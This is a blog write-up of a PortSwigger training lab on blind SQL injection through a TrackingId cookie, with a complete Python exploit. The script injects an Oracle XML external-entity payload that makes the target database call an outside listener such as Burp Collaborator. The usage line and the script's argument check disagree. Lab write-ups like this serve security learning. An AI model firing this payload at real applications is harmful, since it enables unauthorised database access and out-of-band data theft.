Shubham Ranpise

Back

SQLi Lab 16

Blind SQL injection with out-of-band interaction using Burp Collaborator

portswigger-labs content

Blind SQL injection with out-of-band interaction#

This lab demonstrates a blind SQL injection vulnerability where the application’s tracking cookie (TrackingId) is used in an asynchronous SQL query. The query does not affect the application’s response, so traditional error-based or content-based techniques do not work. Instead, out-of-band (OOB) interactions can be triggered by causing the database to initiate DNS or HTTP requests to an external server, such as Burp Collaborator.

How Exploit Works#

  • The TrackingId cookie is vulnerable to SQL injection.
  • Construct an Oracle EXTRACTVALUE XML payload to trigger a request to an external listener.
  • Use the Burp Collaborator public server or another OOB listener to detect DNS/HTTP interactions.
  • The lab is solved once a request from the target is observed by your listener.
  • This method simulates real-world scenarios where blind SQL injection can exfiltrate data asynchronously.

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmd

Exploit#

exploit.py
import sys
import requests
import urllib3

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Optional: Proxy through Burp (use {} if not needed)
proxies = {"http": "http://127.0.0.1:8080",
           "https": "http://127.0.0.1:8080"}


def grab_initial_cookies(url: str):
    """Fetch initial cookies from target lab."""
    r = requests.get(url, verify=False, proxies=proxies, timeout=15)
    tracking_id = r.cookies.get("TrackingId")
    session_cookie = r.cookies.get("session")

    if not tracking_id or not session_cookie:
        print("[-] Failed to grab TrackingId/session cookie.")
        sys.exit(1)

    return tracking_id, session_cookie


def build_payload(listener_url: str) -> str:
    """
    Build an Oracle XXE payload that triggers OOB DNS/HTTP lookup
    to the given listener_url.
    """
    return (
        f"'||(SELECT EXTRACTVALUE(xmltype('<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM \"http://f{listener_url}/\"> %25remote%3b]>'),'/l') FROM dual)-- -"
    )


def send_payload(url: str, tracking_id: str, session_cookie: str, payload_suffix: str):
    """Send malicious TrackingId cookie with OOB payload."""
    cookies = {
        "TrackingId": tracking_id+payload_suffix,
        "session": session_cookie
    }
    print("[*] Sending payload...")
    try:
        r = requests.get(url, cookies=cookies, verify=False, proxies=proxies, timeout=10)
        print(f"[+] HTTP {r.status_code} received.")
    except requests.exceptions.RequestException as e:
        print(f"[!] Request failed: {e}")


def main():
    if len(sys.argv) != 3:
        print("Usage: python oob_sqli_exploit.py <url> <listener-url>")
        sys.exit(1)

    url = sys.argv[1].rstrip("/")
    listener = sys.argv[2].rstrip("/")

    print(f"[*] Target: {url}")
    print(f"[*] Listener: {listener}")

    tracking_id, session_cookie = grab_initial_cookies(url)
    print(f"[*] Got TrackingId: {tracking_id}")
    print(f"[*] Got session: {session_cookie}")

    payload_suffix = build_payload(listener)
    send_payload(url, tracking_id, session_cookie, payload_suffix)

    print("\n[*] Payload sent!")
    print("    → Now check your listener (Collaborator / Webhook.site / RequestBin).")
    print("    → If you see a request from the target, the lab is solved ✅.")


if __name__ == "__main__":
    main()
python

See more portswigger-labs